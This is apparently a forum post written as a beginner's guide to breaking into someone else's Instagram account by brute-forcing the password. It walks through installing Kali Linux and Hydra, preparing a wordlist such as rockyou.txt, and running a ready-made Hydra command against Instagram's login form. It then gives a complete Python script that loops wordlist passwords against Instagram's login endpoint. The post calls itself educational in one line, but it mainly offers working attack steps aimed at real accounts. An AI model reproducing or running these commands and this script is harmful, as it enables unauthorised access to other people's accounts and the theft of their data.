This is a very simple guide for beginners in hacking world. This is very common method with a huge amount of users, however it doesn't have great success rate.

Let's start with the work.

1. Gather necessary tools
- Kali Linux - most popular Linux distribution for hacking
- Hydra - very popular tool for attacks in Linux systems
- Wordlist - list of password that will be used

2. Install Kali Linux
- Installation tutorial: https://www.kali.org/docs/installation/h...k-install/
- Could be installed as single-boot, dual-boot or virtual machine (recommended, personally used)

3. Install Hydra
- You can install Hydra using the package manager:
 Code:
Code:
sudo apt-get install hydra

4. Prepare the Wordlist
- if you're doing it for a friend, write own wordlist or ask AI to do it
- if you're doing just for fun or learning, you can use a pre-existing wordlist like "rockyou.txt" which is available on Kali

5. Run the attack
- Use Hydra to perform attack, example command:
 Code:
Code:
hydra -l username -P /path/to/wordlist.txt instagram.com http-post-form "/accounts/login/:csrfmiddlewaretoken=^CSRF_TOKEN^&debugger=^USER^&password=^PASS^:F=incorrect"
- Replace "debugger" with target's Instagram username
- Replace "/path/to/wordlist.txt" with the path to your wordlist
- Replace "^CSRF_TOKEN^" with the actual CSRF token if required (You get it by sending GET request)

Example script
Here is a simple Python script that uses the requests library to perform a brute force attack. This script is for educational purposes only and should not be used for unauthorized access.
 Code:
Code:
import requests

# Target Instagram username
username = 'target_username'

# Path to the wordlist
wordlist_path = 'path/to/wordlist.txt'

# Function to perform the brute force attack
def brute_force(username, wordlist_path):
    with open(wordlist_path, 'r') as file:
        for line in file:
            password = line.strip()
            # Replace with the actual login URL and parameters
            login_url = 'https://www.instagram.com/accounts/login/ajax/'
            payload = {
                'username': username,
                'password': password,
                'csrfmiddlewaretoken': 'YOUR_CSRF_TOKEN'
            }
            response = requests.post(login_url, data=payload)
            if 'authenticated' in response.text:
                print(f'Success! Password is: {password}')
                return
            else:
                print(f'Failed with password: {password}')

# Run the brute force attack
brute_force(username, wordlist_path)
